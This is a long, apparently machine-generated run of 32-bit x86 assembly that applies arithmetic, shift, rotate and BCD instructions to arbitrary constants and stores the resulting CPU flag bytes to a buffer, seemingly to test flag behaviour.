shl edx, cl
mov edx, 0x4cf4b433
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xabbe2
mov ecx, 0xd875e5e4
sal eax, cl
mov eax, 0x695796d1
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1fdc951f
rol edx, 1
mov ebx, 0x5dc8756c
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfe32e9b
mov ecx, 0x4c123c45
rol ebx, cl
mov eax, 0x380c23d8
aas
mov eax, 0x2207d3c2
dec eax
mov edx, 0x4aff3dd3
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x19b6267a
shl edx, 0xc3
mov eax, 0xdbc478b
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9ba765c4
mov ecx, 0x5c665b9a
rol eax, cl
mov ebx, 0x589f9737
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8b339b8f
mov ecx, 0xfef094f9
cmp edx, ecx
mov eax, 0x2dab4ce7
aas
mov ebx, 0x90b41723
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x3738f679
sal ebx, 1
mov eax, 0x51aec7af
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xe8867813
add ebx, 0x5470ef7
mov eax, 0x60227cad
mov ecx, 0xc9ed68af
ror eax, cl
mov edx, 0x2b9c95a5
mov ecx, 0xf0f3166
rol edx, cl
mov eax, 0x92735af1
mov ecx, 0x9530cb6c
add eax, ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xaafd84a0
sub eax, 0x13f2e930
mov eax, 0x7d3ea027
aaa
mov edx, 0x2f4aa39a
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5da2dc11
mov ecx, 0x4d6d0657
rol eax, cl
mov ecx, 0x6a2666eb
mov eax, 0xf6674bf7
sub ecx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x39acbbf8
mov ecx, 0x4b5f97a3
ror ebx, cl
mov eax, 0x1b96006e
mov ecx, 0x3ab19ea1
sal eax, cl
mov ebx, 0x76edfd5
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x80716ee9
mov ecx, 0xe18f728
rol eax, cl
mov edx, 0x2766721
mov ecx, 0xf1117505
ror edx, cl
mov ecx, 0x63bd0963
sub ecx, 0x3db268e3
mov edx, 0x18101962
mov ecx, 0xd4d34fd1
rol edx, cl
mov eax, 0xf7ff7c79
rol eax, 1
mov edx, 0xe7f76000
neg edx
mov eax, 0x58f47b79
rol eax, 1
mov edx, 0x3bbf2667
mov ecx, 0x8ddea611
rol edx, cl
mov edx, 0x53a2481f
inc edx
mov ebx, 0x7eebcc3
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x26c650a0
inc ecx
mov edx, 0x1d201f3a
mov ecx, 0x84237341
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7038779a
sal ebx, 1
mov eax, 0x154e65d5
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1781f4e5
rol edx, 1
mov ebx, 0x78b209fe
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe2f16ea1
mov ecx, 0x6a984bd2
rol ebx, cl
mov ebx, 0x62d48fcd
mov ecx, 0x4027c56c
ror ebx, cl
mov ebx, 0xa3c9a3a0
rol ebx, 1
mov ebx, 0x282e63e0
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x15e10a9b
mov ecx, 0xd3488655
ror ebx, cl
mov eax, 0x53dbfbce
cmp eax, 0x9e788ac8
mov ebx, 0x31c69618
dec ebx
mov eax, 0xa4520d55
mov ecx, 0xc0ddd85a
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xe7b035d7
mov ecx, 0x9ef37a84
sal eax, cl
mov eax, 0xfcc823b4
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3b99adab
mov ecx, 0x9ce0004c
ror ebx, cl
mov eax, 0x86e4e6c
rol eax, 1
mov ebx, 0x15ff13f5
mov ecx, 0x3fccee48
sub ebx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x93e8056b
mov ecx, 0xf90b7356
ror edx, cl
mov ecx, 0xc718839f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x605cfa5e
shl ebx, 1
mov ecx, 0x2648129f
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x7a63ba1a
dec edx
mov eax, 0xd2db8f9a
mov ecx, 0xdfeabe5e
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x82427f67
mov ecx, 0xa08dc292
ror edx, cl
mov ecx, 0x1e9e9a20
dec ecx
mov eax, 0x86aa9d6b
mov ecx, 0xd595295b
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb2671fa8
shl eax, 1
mov edx, 0xf1d3f7ff
mov ecx, 0xbfc2b2e9
rol edx, cl
mov eax, 0x91a3545c
aas
mov eax, 0x921bd6a0
rol eax, 1
mov ebx, 0x7948fd14
mov ecx, 0x97eb35e8
ror ebx, cl
mov ebx, 0xfaea67ed
sar ebx, 0xca
mov ebx, 0x6d1630a0
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa6691cbb
rol eax, 1
mov eax, 0xe9755a84
aaa
mov ebx, 0x5cf32380
neg ebx
mov eax, 0x88930f23
mov ecx, 0x7982f016
rol eax, cl
mov ebx, 0xe885166c
rol ebx, 1
mov eax, 0xc94a8ba
aas
mov ebx, 0x69d77e21
inc ebx
mov eax, 0xcc732728
mov ecx, 0xe0e28c58
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4692ee3f
mov ecx, 0x841dccb8
rol ebx, cl
mov edx, 0x77bf0669
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x9fb750e8
mov ecx, 0xf324523f
cmp ebx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x22452901
mov ecx, 0x82bc1e3c
rol edx, cl
mov eax, 0x15ddf21e
mov ebx, 0xd5524766
cmp eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf976ebb0
mov ecx, 0x6411688f
sar eax, cl
mov ecx, 0xda50c970
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x968b6739
mov ecx, 0xa45a97d4
rol eax, cl
mov ebx, 0x491f19a7
sal ebx, 1
mov ecx, 0xc2ff5bbf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xe7f4034e
sal edx, 1
mov ebx, 0x418c7ffb
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa7f3bea
add eax, 0x5a4c2f13
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xdbde213
mov ebx, 0x9fb2ad7a
sub edx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x377b0fc4
mov ecx, 0x730ac5b2
ror eax, cl
mov ebx, 0x6744cc61
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xb2ba0c55
inc ecx
mov ebx, 0xdf12bb6b
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xd73603bb
mov edx, 0x4637fc51
add ecx, edx
mov edx, 0x5acfea3f
mov eax, 0xec5cd5be
cmp edx, eax
mov eax, 0xd6bbd17a
rol eax, 1
mov ebx, 0x35a2d769
mov ecx, 0x856deb47
ror ebx, cl
mov eax, 0x551ca5e6
mov ecx, 0xee8f69b3
rol eax, cl
mov eax, 0x4b52ef6e
sub eax, 0x3e23a055
mov edx, 0xc9296fc7
mov ecx, 0xa6b0f893
ror edx, cl
mov edx, 0x4b86ea53
mov ecx, 0x74610d7e
rol edx, cl
mov edx, 0x8370c127
mov ecx, 0x46e9607f
add edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x35fb02e5
inc eax
mov edx, 0xeaadbd1c
mov ecx, 0xbc49152
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xcf871caf
mov ebx, 0xaeb49180
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xdaa668e
mov ecx, 0xcd9bae21
add ebx, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x424e364b
rol ebx, 1
mov edx, 0x1c6869e3
mov ecx, 0x538b754d
rol edx, cl
mov ebx, 0xf359b569
neg ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xfeb86811
mov ecx, 0xd1bb35c
ror eax, cl
mov eax, 0xa0a7f65f
inc eax
mov eax, 0x1ff9993f
mov ecx, 0xd6c0fda9
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd4bbf95e
aas
mov ebx, 0x5feefa80
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x326bb598
shl eax, 1
mov edx, 0x10125c26
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x89559c5b
mov ecx, 0xdc0cf812
ror ebx, cl
mov ebx, 0x3836738f
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x1ae6f974
mov edx, 0xb827ca85
sub ecx, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x851fe66f
aaa
mov ecx, 0x758812d
inc ecx
mov edx, 0x4104bd17
mov ecx, 0xf917a336
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9821c3a2
mov ecx, 0xf6880b1c
rol ebx, cl
mov ebx, 0xf33428ce
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x74cc5589
mov ecx, 0xfefff955
rol ebx, cl
mov ecx, 0xa8fc8ab9
cmp ecx, 0xeb855171
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe1c7e070
mov ebx, 0xf3f41bc4
add eax, ebx
mov eax, 0x581978a9
aaa
mov edx, 0x42248c87
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x7c541751
mov eax, 0xb7fd3e8b
add edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x76344d7f
mov ebx, 0x5c5d7581
cmp edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd12ae127
mov ecx, 0xba159188
ror ebx, cl
mov ebx, 0x52c961eb
mov ecx, 0xd2d0548e
rol ebx, cl
mov ebx, 0x6739e50
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcc3a3f23
mov ecx, 0x776543fa
ror ebx, cl
mov ecx, 0xd88d3886
sub ecx, 0x5a427173
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x134174e1
mov ecx, 0xea280de9
ror eax, cl
mov ebx, 0xe9791c03
mov eax, 0x76be6b63
sub ebx, eax
mov eax, 0x523bb541
aas
mov ecx, 0x4eb13674
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4a599f4
inc edx
mov ebx, 0x46219fc5
mov ecx, 0x9c887885
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2c1ec6b5
mov ecx, 0x9859771f
rol eax, cl
mov edx, 0x37b83e1d
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8254f30f
inc eax
mov edx, 0x37b521cf
mov ecx, 0xc7ec1328
ror edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xb7bdb432
add ebx, 0x1b246c2
mov eax, 0x1dccb067
dec eax
mov eax, 0xb8d0d2a3
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6f0ba3db
aas
mov edx, 0xdb3d33be
inc edx
mov ebx, 0x15dfa2b0
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdad6e82
mov ecx, 0xdac4b059
ror eax, cl
mov eax, 0xbe5c2577
mov ecx, 0x34cfc8f0
rol eax, cl
mov ebx, 0x88065058
rol ebx, 1
mov edx, 0x4df2dd3f
add edx, 0x1c4338e0
mov ebx, 0x5405d240
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x131afb12
inc eax
mov ebx, 0x86d4f389
mov ecx, 0x7427d7b2
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xd2a5d797
mov ebx, 0x267ade71
sub edx, ebx
mov eax, 0xd2305ebd
mov ecx, 0xa37321fd
sar eax, cl
mov edx, 0x2c654433
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x12a22fac
inc ecx
mov edx, 0xb6ee69dc
mov ecx, 0x4c69d276
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1fa1d892
mov ecx, 0xec081a7f
ror eax, cl
mov edx, 0x9723f25b
rol edx, 1
mov edx, 0x29558a6
mov ecx, 0xafaa27b6
cmp edx, ecx
mov ecx, 0xb712f2a1
sub ecx, 0x9ee3be8e
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x8c2c142
mov ecx, 0x310d89c1
rol edx, cl
mov ebx, 0x74c5b3f8
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x1004f270
mov eax, 0x39edc5b0
add ecx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xc9ff1407
mov ecx, 0xe3cce116
add ebx, ecx
mov eax, 0xf9f7bd36
aas
mov edx, 0xd7fc1800
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x4ee747e4
rol edx, 1
mov edx, 0x5c397984
rol edx, 1
mov eax, 0x988a8efd
aaa
mov ebx, 0xaee268d0
neg ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdf4a47c3
mov ecx, 0xacb54331
ror edx, cl
mov ebx, 0x7184021d
rol ebx, 1
mov eax, 0x4a1177b6
mov ecx, 0xe7761d54
cmp eax, ecx
mov edx, 0x699861a
rol edx, 1
mov eax, 0xfa366d79
mov ecx, 0xefd12b4c
rol eax, cl
mov edx, 0x1b70bdcf
shl edx, 1
mov eax, 0x1339cc7f
mov ecx, 0x8f003370
rol eax, cl
mov edx, 0x8d60cd0f
inc edx
mov edx, 0x1f8cbbd0
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x83bc0460
dec ebx
mov edx, 0x1fa8e090
mov ecx, 0x5bcbf2cb
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcee6c3c
shl edx, 5
mov ebx, 0xd0f31d96
sub ebx, 0x31b0dbd3
mov eax, 0x40ba1bad
aaa
mov ebx, 0x643f593f
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xdbe6642
sub eax, 0xee1f8943
lahf
mov byte [edi], ah
inc edi
mov edx, 0xab59a953
mov eax, 0x431eb6ab
add edx, eax
mov edx, 0x4aebabd8
shl edx, 1
mov ebx, 0x3c160763
rol ebx, 1
mov edx, 0xe5083530
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x19e0c5ad
sal edx, 0x63
mov eax, 0xfd1ffd3f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x61961c69
mov ecx, 0xd8b1e805
rol edx, cl
mov ebx, 0xece9fd6d
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xf6d27de0
mov ecx, 0xcd5dc28d
ror ebx, cl
mov ecx, 0x13c9c3f0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x698a7c82
mov ecx, 0x2bfb6a6b
sub edx, ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf490f673
sal ebx, 0xc7
mov eax, 0x639e2ecc
mov ecx, 0xfdd9f3ba
rol eax, cl
mov edx, 0xcb6ce5a8
mov ecx, 0xc1ff3d8
ror edx, cl
mov eax, 0x945d5f7f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x905cb060
mov ecx, 0xecf1191
rol edx, cl
mov eax, 0xd216650d
mov ecx, 0xbb31d0ab
ror eax, cl
mov ebx, 0x9f69839d
mov ecx, 0xedf06bdd
rol ebx, cl
mov eax, 0x8b087f2d
aaa
mov ecx, 0xf357b80b
neg ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x51ba9b5e
mov ebx, 0xa86b53eb
sub ecx, ebx
mov eax, 0x499d6586
aas
mov ecx, 0x495e6e1b
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6fc2a861
shl eax, 1
mov ebx, 0xc82ff352
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x98d4232f
mov ebx, 0xda7d83cc
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6fc94d4
rol ebx, 1
mov edx, 0xad422636
sal edx, 1
mov ebx, 0x6620bf98
rol ebx, 1
mov ebx, 0xc913616e
mov ecx, 0x6c02187c
sar ebx, cl
mov edx, 0xda70c58d
add edx, 0x51e9b894
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x9d540488
cmp ecx, 0xc4fd9112
mov edx, 0x6aedfbde
sal edx, 0xa4
mov eax, 0x5d39294b
mov ecx, 0xc100d1f7
rol eax, cl
mov edx, 0x739c1620
mov ecx, 0x770f1521
sal edx, cl
mov ebx, 0xfe88750
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xabdff91a
mov eax, 0x502cbe33
cmp edx, eax
mov ebx, 0x14cbfc77
rol ebx, 1
mov ebx, 0xcf9fccce
rol ebx, 1
mov edx, 0xb74a3658
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6525b527
mov ecx, 0x86fac235
add edx, ecx
mov eax, 0x5bb4e5e6
aas
mov ebx, 0xfb522269
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xe195f534
neg ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x19e418b2
mov ecx, 0x2977e644
ror eax, cl
mov ebx, 0xc986583
cmp ebx, 0xdcf17c32
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe4614e63
mov ecx, 0xcbc8d49e
ror ebx, cl
mov eax, 0x659d2199
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x460cbb1f
rol eax, 1
mov edx, 0x13c572b4
add edx, 0xa11a0410
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xe322177f
mov ecx, 0x41b346f4
sub edx, ecx
mov eax, 0x969c4aeb
aaa
mov eax, 0x19115970
neg eax
mov eax, 0x5ce4f2fb
aas
mov eax, 0x4c68aea0
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x4080001e
rol eax, 1
mov ebx, 0x9e57e96f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1ec81b9a
mov edx, 0x3b614cb0
cmp ebx, edx
mov ebx, 0xbfa5b8fe
sub ebx, 0xf7a817a
mov ebx, 0x3873b0a6
mov ecx, 0x7ce2f8f8
rol ebx, cl
mov ecx, 0x101dc220
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x31eadb3f
mov ecx, 0xbcdba019
cmp edx, ecx
mov eax, 0x144269c0
aaa
mov eax, 0x19909598
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x5664463
mov ecx, 0x69c19833
ror edx, cl
mov ecx, 0x11f2750a
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfee5efb
sal eax, 0x22
mov ecx, 0xa1dd5ff1
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x334cc7a1
mov ecx, 0xa77f7313
rol eax, cl
mov eax, 0x8826fecf
inc eax
mov edx, 0xb23b9c
mov ecx, 0x52bdb249
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xd04fda20
neg edx
mov eax, 0xe274bd5f
aaa
mov edx, 0xa4e913d9
sub edx, 0x656e7920
mov eax, 0xb446249b
aas
mov ecx, 0xadda718f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1e32f446
rol edx, 1
mov ebx, 0xc1c481e3
sar ebx, 0xd6
mov ebx, 0x6555ae
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd71d6d14
mov ecx, 0x23f4911d
ror eax, cl
mov ecx, 0x5da85ab0
neg ecx
mov eax, 0xbfa70585
aaa
mov eax, 0x4cf2dbde
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x884ae4b6
neg edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa6de9c0
mov ecx, 0xd2845d92
ror ebx, cl
mov ebx, 0x4b8f2e20
mov ecx, 0xbaee60e8
ror ebx, cl
mov ebx, 0xb5d96974
rol ebx, 1
mov ebx, 0x9f4f7053
rol ebx, 1
mov eax, 0x8da5e03a
shl eax, 1
mov ebx, 0x29b7103c
sub ebx, 0xb524f8dd
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x84bc7e90
mov ecx, 0x98af4930
ror ebx, cl
mov edx, 0xeea7e174
mov ecx, 0x1b66ff5c
ror edx, cl
mov ebx, 0xfdf98679
mov ecx, 0x6cc00dad
ror ebx, cl
mov eax, 0x13d8c3f4
mov ecx, 0xc2bb8112
ror eax, cl
mov ecx, 0x65ee7162
sub ecx, 0x1a8f8608
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xe752cf08
sub edx, 0xaa2398b1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3a9b6c70
mov ecx, 0xeaa3e8e
ror edx, cl
mov edx, 0x765a259f
mov ecx, 0xf605690f
ror edx, cl
mov ebx, 0x3d1a606
mov ecx, 0x2f81261
ror ebx, cl
mov ebx, 0xf704d532
sub ebx, 0x94ed5f0e
lahf
mov byte [edi], ah
inc edi
mov edx, 0x302be743
shl edx, 1
mov edx, 0xce65ee5f
mov ebx, 0xd73af6cb
sub edx, ebx
mov ebx, 0x7511fb4c
shl ebx, 0x61
mov ecx, 0x9175bc90
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xf95b4da5
sar ebx, 0x9c
mov eax, 0x666ed65f
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7ab8ea3f
cmp eax, 0x8091b6bb
mov eax, 0x94cdcf06
aaa
mov edx, 0x709336cc
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3edae89a
mov ecx, 0x9085708e
rol ebx, cl
mov ebx, 0xa6518dac
mov ecx, 0x9f78dcca
ror ebx, cl
mov eax, 0x8ecbd8a0
dec eax
mov edx, 0xfdf20122
mov ecx, 0xfcfd0e44
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x8c33d79e
shl ebx, 1
mov eax, 0x4eabf9b5
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x176c2b4
cmp ecx, 0xc377d65a
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaa6f75d0
rol eax, 1
mov edx, 0x9b813864
mov ecx, 0x6b68e521
ror edx, cl
mov ebx, 0x3dc2e764
sal ebx, 1
mov eax, 0xb7a303a8
mov ecx, 0xbad28d65
ror eax, cl
mov ebx, 0x1ffb5faf
add ebx, 0x48189071
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8d3af874
sal ebx, 1
mov ebx, 0xf31d3dbf
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xc753595f
inc ecx
mov ebx, 0x6dbcd5bf
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xf44a86b0
cmp eax, 0xbfbbff02
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x6b33caeb
rol eax, 1
mov eax, 0x7a1cd9fc
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x679e9d21
mov ecx, 0x91d969f1
ror ebx, cl
mov ecx, 0xe9f7c1fd
mov ebx, 0x1064a270
sub ecx, ebx
mov eax, 0xde637497
aas
mov eax, 0xfd57c7e
sal eax, 1
mov eax, 0x6f089189
rol eax, 1
mov edx, 0x2212834a
add edx, 0x2de368de
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x791a156f
shl eax, 0x67
mov ebx, 0x58f7ff38
rol ebx, 1
mov eax, 0x8d93750f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x83398c0a
shl ebx, 1
mov eax, 0x37876c60
cmp eax, 0xf6b4af4c
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbd382b85
mov ecx, 0xd111d8e8
add edx, ecx
mov eax, 0x30024ea2
aas
mov edx, 0x4a4e8107
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2081bd0f
mov ecx, 0xe468e17e
ror edx, cl
mov eax, 0x2f0929b8
cmp eax, 0xf50e8bb6
mov eax, 0xeb4bc4fc
aaa
mov ebx, 0xf51bdbef
mov ecx, 0x232a42a6
rol ebx, cl
mov eax, 0xb4d0db44
sal eax, 1
mov edx, 0xb4dbd2ad
sal edx, 1
mov ecx, 0x7d206c70
dec ecx
mov eax, 0xb0aa5d8e
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6e509fad
dec eax
mov eax, 0x6005b154
mov ecx, 0x1f7c7083
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xe214f87d
mov ecx, 0x34678d1e
ror ebx, cl
mov ebx, 0x495fd393
mov ecx, 0xcdfe0194
ror ebx, cl
mov edx, 0x87725d3c
add edx, 0x97c3d836
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x48b1881f
mov ecx, 0xcf587e72
rol edx, cl
mov ebx, 0xae3dc795
mov ecx, 0x6394c18c
sar ebx, cl
mov ecx, 0x334884c0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xbb635cf6
mov ecx, 0x75929c5e
ror eax, cl
mov eax, 0xaabfd80f
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbbbb514a
cmp ebx, 0x18d80fa7
mov eax, 0xea842ae0
aaa
mov edx, 0xaea226b7
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6ffa8bc4
mov ecx, 0x5225cb6c
rol edx, cl
mov edx, 0xe338141f
inc edx
mov ebx, 0xfae4618b
mov ecx, 0xee773ec4
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x356f85f5
mov ecx, 0xa04ebd79
rol ebx, cl
mov ecx, 0x13b25b8d
inc ecx
mov eax, 0x585f54c4
mov ecx, 0xb8fed9b4
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x47b0a996
mov eax, 0x562920f4
sub ebx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6258e6a6
aaa
mov ebx, 0xac22b100
shl ebx, 1
mov ecx, 0xd3e95780
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x1188ab23
mov ecx, 0x692bcdad
ror edx, cl
mov ebx, 0x6d07f717
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf5ffd726
shl eax, 1
mov edx, 0x592affba
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xbecd8beb
mov ecx, 0x1c6410c5
ror eax, cl
mov edx, 0x93fc0895
mov ecx, 0x5cefe76f
rol edx, cl
mov ebx, 0xf53d2ab6
mov ecx, 0x6694b8da
ror ebx, cl
mov edx, 0x257167d4
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xc7549e22
aas
mov eax, 0x4c05b8f
aas
mov ecx, 0x291cd47e
add ecx, 0x3925d1e6
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7e9e1e2d
dec ebx
mov ebx, 0x3de456f9
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x5299f9a6
rol edx, 1
mov eax, 0x282b3e51
rol eax, 1
mov ecx, 0x41347658
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xde2ebdee
rol edx, 1
mov eax, 0x41f4ba4c
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0xa90bb9e
add ecx, 0x8f89c4e2
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x938716a
mov ecx, 0xb19bcb3b
rol edx, cl
mov ebx, 0xf64e0c1b
dec ebx
mov edx, 0x378b4ea8
mov ecx, 0x295acd45
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xd2570586
sub edx, 0x414434c8
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xff47db8a
rol eax, 1
mov eax, 0xd204c8c2
mov ecx, 0x2e178502
rol eax, cl
mov edx, 0xbe6e046c
mov ecx, 0xc1e96fab
rol edx, cl
mov edx, 0xc5219d50
rol edx, 1
mov edx, 0xf7594cbb
mov ebx, 0x9f1ed93b
add edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6893dcaf
neg edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x570b2fb9
sub ebx, 0x99e8e7f1
mov eax, 0x6053a9c9
mov ecx, 0xd8429a51
sal eax, cl
mov edx, 0x245870e
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xcd54abf8
mov ecx, 0xc4a7b3d0
rol ebx, cl
